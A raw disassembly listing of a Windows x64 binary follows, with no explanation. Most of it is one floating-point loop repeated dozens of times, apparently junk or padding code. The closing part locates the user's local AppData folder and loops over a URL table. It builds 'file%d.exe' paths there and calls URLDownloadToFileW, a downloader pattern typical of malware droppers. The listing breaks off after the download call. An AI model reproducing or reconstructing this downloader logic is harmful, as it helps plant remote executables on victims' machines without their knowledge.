call fcn.140031360
movsd xmm1, qword [rsp + 0x1cf0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005812
mov qword [rsp + 0x168], 0
jmp 0x1400058d1
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x168], rax
jae 0x14000595c
mov rdx, qword [rsp + 0x168]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cf8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x168]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cf8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400058be
mov qword [rsp + 0x170], 0
jmp 0x14000597d
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x170], rax
jae 0x140005a08
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d00], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x170]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d00]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000596a
mov qword [rsp + 0x178], 0
jmp 0x140005a29
mov rax, qword [rsp + 0x178]
inc rax
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x178], rax
jae 0x140005ab4
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d08], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x178]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d08]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005a16
mov qword [rsp + 0x180], 0
jmp 0x140005ad5
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x180], rax
jae 0x140005b60
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d10], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x180]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d10]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005ac2
mov qword [rsp + 0x188], 0
jmp 0x140005b81
mov rax, qword [rsp + 0x188]
inc rax
mov qword [rsp + 0x188], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x188], rax
jae 0x140005c0c
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d18], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x188]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d18]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005b6e
mov qword [rsp + 0x190], 0
jmp 0x140005c2d
mov rax, qword [rsp + 0x190]
inc rax
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x190], rax
jae 0x140005cb8
mov rdx, qword [rsp + 0x190]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d20], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x190]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d20]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005c1a
mov qword [rsp + 0x198], 0
jmp 0x140005cd9
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x198], rax
jae 0x140005d64
mov rdx, qword [rsp + 0x198]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d28], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x198]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d28]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005cc6
mov qword [rsp + 0x1a0], 0
jmp 0x140005d85
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1a0], rax
jae 0x140005e10
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d30], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1a0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d30]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005d72
cmp qword [rsp + 0x1be0], 0
je 0x1400292e3
mov qword [rsp + 0x1a8], 0
jmp 0x140005e40
mov rax, qword [rsp + 0x1a8]
inc rax
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1a8], rax
jae 0x140005ecb
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d38], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1a8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d38]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005e2d
mov qword [rsp + 0x1b0], 0
jmp 0x140005eec
mov rax, qword [rsp + 0x1b0]
inc rax
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1b0], rax
jae 0x140005f77
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d40], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1b0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d40]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005ed9
mov qword [rsp + 0x1b8], 0
jmp 0x140005f98
mov rax, qword [rsp + 0x1b8]
inc rax
mov qword [rsp + 0x1b8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1b8], rax
jae 0x140006023
mov rdx, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d48], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1b8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d48]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005f85
mov qword [rsp + 0x1c0], 0
jmp 0x140006044
mov rax, qword [rsp + 0x1c0]
inc rax
mov qword [rsp + 0x1c0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1c0], rax
jae 0x1400060cf
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d50], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1c0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d50]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006031
mov qword [rsp + 0x1c8], 0
jmp 0x1400060f0
mov rax, qword [rsp + 0x1c8]
inc rax
mov qword [rsp + 0x1c8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1c8], rax
jae 0x14000617b
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d58], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1c8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d58]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400060dd
mov qword [rsp + 0x1d0], 0
jmp 0x14000619c
mov rax, qword [rsp + 0x1d0]
inc rax
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1d0], rax
jae 0x140006227
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d60], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1d0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d60]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006189
mov qword [rsp + 0x1d8], 0
jmp 0x140006248
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1d8], rax
jae 0x1400062d3
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d68], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1d8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d68]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006235
mov qword [rsp + 0x1e0], 0
jmp 0x1400062f4
mov rax, qword [rsp + 0x1e0]
inc rax
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1e0], rax
jae 0x14000637f
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d70], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1e0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d70]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400062e1
mov qword [rsp + 0x1e8], 0
jmp 0x1400063a0
mov rax, qword [rsp + 0x1e8]
inc rax
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1e8], rax
jae 0x14000642b
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d78], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1e8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d78]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000638d
mov qword [rsp + 0x1f0], 0
jmp 0x14000644c
mov rax, qword [rsp + 0x1f0]
inc rax
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1f0], rax
jae 0x1400064d7
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d80], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1f0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d80]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006439
mov byte [rsp + 0x50], 0xc3
mov qword [rsp + 0x1f8], 0
jmp 0x1400064fd
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x1f8], rax
jae 0x140006588
mov rdx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d88], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x1f8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d88]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400064ea
mov qword [rsp + 0x200], 0
jmp 0x1400065a9
mov rax, qword [rsp + 0x200]
inc rax
mov qword [rsp + 0x200], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x200], rax
jae 0x140006634
mov rdx, qword [rsp + 0x200]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d90], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x200]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d90]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006596
mov qword [rsp + 0x208], 0
jmp 0x140006655
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x208], rax
jae 0x1400066e0
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1d98], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x208]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1d98]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006642
mov qword [rsp + 0x210], 0
jmp 0x140006701
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x210], rax
jae 0x14000678c
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1da0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x210]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1da0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400066ee
mov qword [rsp + 0x218], 0
jmp 0x1400067ad
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x218], rax
jae 0x140006838
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1da8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x218]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1da8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000679a
mov qword [rsp + 0x220], 0
jmp 0x140006859
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x220], rax
jae 0x1400068e4
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1db0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x220]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1db0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006846
mov qword [rsp + 0x228], 0
jmp 0x140006905
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x228], rax
jae 0x140006990
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1db8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x228]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1db8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400068f2
mov qword [rsp + 0x230], 0
jmp 0x1400069b1
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x230], rax
jae 0x140006a3c
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1dc0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x230]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1dc0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000699e
mov qword [rsp + 0x238], 0
jmp 0x140006a5d
mov rax, qword [rsp + 0x238]
inc rax
mov qword [rsp + 0x238], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x238], rax
jae 0x140006ae8
mov rdx, qword [rsp + 0x238]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1dc8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x238]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1dc8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006a4a
mov qword [rsp + 0x240], 0
jmp 0x140006b09
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x240], rax
jae 0x140006b94
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1dd0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x240]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1dd0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006af6
mov qword [rsp + 0x248], 0
jmp 0x140006bb5
mov rax, qword [rsp + 0x248]
inc rax
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x248], rax
jae 0x140006c40
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1dd8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x248]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1dd8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006ba2
mov qword [rsp + 0x250], 0
jmp 0x140006c61
mov rax, qword [rsp + 0x250]
inc rax
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x250], rax
jae 0x140006cec
mov rdx, qword [rsp + 0x250]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1de0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x250]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1de0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006c4e
mov qword [rsp + 0x258], 0
jmp 0x140006d0d
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x258], rax
jae 0x140006d98
mov rdx, qword [rsp + 0x258]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1de8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x258]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1de8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140006cfa
mov qword [rsp + 0x260], 0
jmp 0x140006db9
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rsp + 0x39b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x1400293fa
mov dword [rsp + 0x54], 0
jmp 0x14002932d
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x3be0]
cmp dword [rsp + 0x54], eax
jge 0x1400293fa
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x39b0]
lea r8, str._s_file_d.exe
mov edx, 0x104
lea rcx, [rsp + 0x37a0]
call fcn.14002a640
movsxd rax, dword [rsp + 0x54]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x37a0]
mov rcx, qword [rsp + 0x3bd8]
mov rdx, qword [rcx + rax*8]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x1bf8], eax
cmp dword [rsp + 0x1bf8], 0
jl 0x1400293d3
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
